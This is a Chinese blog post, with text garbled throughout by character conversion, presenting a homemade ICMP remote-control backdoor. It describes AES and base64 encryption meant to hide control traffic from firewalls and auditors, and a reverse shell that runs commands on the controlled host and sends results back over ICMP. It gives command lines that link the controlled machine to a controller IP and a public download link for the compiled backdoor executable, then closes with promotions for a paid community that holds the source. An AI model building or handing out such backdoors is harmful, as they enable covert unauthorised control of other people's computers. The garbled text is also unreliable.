ICMP后門
前言
第一篇:Python3實現(xiàn)ICMP遠控后門(上)
第二篇:Python3實現(xiàn)ICMP遠控后門(上)_補充篇
第三篇:Python3實現(xiàn)ICMP遠控后門(中)之“嗅探”黑科技
熬到最后一篇了,本系列的Boss要出場了,實現(xiàn)了一個有意思的ICMP后門,暫時使用pyinstaller打包成了一個win32和64版本,如下圖所示。
在前幾篇的基礎(chǔ)上,本篇擴展的知識點為數(shù)據(jù)的加密和解密,以及shell的調(diào)用,并最終生成一個可用的ICMP后門。
本篇總共分為五節(jié),需要花費5分鐘時間。
第一節(jié)?通信的加密與解密??
ICMP遠控采用的是ICMP協(xié)議進行通信,為了確保通信的保密性,防止防火墻或者審計人員探測出控制信息,決定對ICMP數(shù)據(jù)域的內(nèi)容進行加密處理。
本次采用的是AES加密與base64編碼相結(jié)合的方式。AES為最常見的對稱加密算法(微信小程序加密傳輸就是用這個加密算法的)。對稱加密算法也就是加密和解密用相同的密鑰,具體的加解密流程如下圖:?
AES只是個基本算法,實現(xiàn)AES有若干模式。其中的CBC模式因為其安全性而被TLS(就是https的加密標準)和IPSec(win采用的)作為技術(shù)標準。簡單地說,CBC使用密碼和salt(起擾亂作用)按固定算法(md5)產(chǎn)生key和iv。然后用key和iv(初始向量,加密第一塊明文)加密(明文)和解密(密文)。
下面介紹ICMP遠控的加密解密方案,對于AES加解密,這里采用CBC模式,在Python3.5及之前版本使用pycrypto?模塊,之后版本使用pycrytodome模塊。
加密
先是使用AES加密,對于傳入的加密內(nèi)容長度必須為16的倍數(shù),不足則補為16的倍數(shù),我這里是設(shè)置的補為32的倍數(shù)。使用AES加密結(jié)束后,對加密后的內(nèi)容進行base64編碼,以便傳輸。
解密
先是對加密后的內(nèi)容進行base64解碼,接著在進行AES解密,最后去掉為了對齊填充的內(nèi)容。
第二節(jié)?Shell調(diào)用
ICMP后門最基本的功能就是完成shell的調(diào)用,也就是經(jīng)常說的反彈shell。反彈的shell即是受控端的shell,控制端通過ICMP協(xié)議將shell命令發(fā)送給受控端,受控端調(diào)用shell執(zhí)行命令,并將命令結(jié)果通過ICMP協(xié)議回傳給控制端。Python中對shell的調(diào)用如下:
第三節(jié)?程序的整體結(jié)構(gòu)
代碼中總共有三個類,父類Transfer,兩個子類client和server。Transfer類主要完成了socket初始化,加解密,icmp協(xié)議封包的通用功能。同時提供了一個reverse方法需要子類實現(xiàn)。
父類Transfer
子類client
子類server
第四節(jié)?使用方法
以我生成的icmpshell_win32.exe為例,為了方便演示,開啟了一個VM虛擬機,和主機組成局域網(wǎng),VM虛擬機中運行的是win7 32位的系統(tǒng),主機運行的是win7 64的系統(tǒng)。主機的ip為192.168.72.4,虛擬機的ip為192.168.72.133.
主機作為控制端,虛擬機作為受控端。首先在主機上運行如下命令(管理員權(quán)限運行):
icmpshell_win32.exe -s 192.168.72.4
其中 -s參數(shù)用于指明控制端的ip
在受控端運行如下命令(管理員權(quán)限運行):
icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4
其中 -l參數(shù)用于指明受控端的ip,-c參數(shù)用于指明要連接的控制端的ip
受控端運行效果
控制端運行效果
執(zhí)行dir命令和tasklist命令
whoami命令
注意 !注意!!注意?。?!
icmpshell源代碼已經(jīng)優(yōu)先上傳到知識星球中,想看源代碼的朋友請關(guān)注我的知識星球。
如果大家只是想玩一下,給大家提供了icmpshell_win32.exe的下載鏈接。
https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密碼:8rgu
第五節(jié)?福利大放送
關(guān)注公眾號:七夜安全博客
回復(fù)【1】:領(lǐng)取?Python數(shù)據(jù)分析?教程大禮包
回復(fù)【2】:領(lǐng)取?Python?Flask?全套教程?
回復(fù)【3】:領(lǐng)取 某學(xué)院 機器學(xué)習(xí)? 教程?
回復(fù)【4】:領(lǐng)取 爬蟲? 教程?
知識星球 已經(jīng)快30人了,隨著人數(shù)的增多,價格之后會上漲,越早關(guān)注越多優(yōu)惠。星球的福利有很多:
比如上面的教程,已經(jīng)提前在知識星球中分享
可以發(fā)表一些問題,大家一塊解決
我之后寫的電子書,錄制的教學(xué)視頻,對于知識星球的朋友都是優(yōu)惠的(基本上免費)
一些節(jié)假日會給大家發(fā)個紅包或者贈書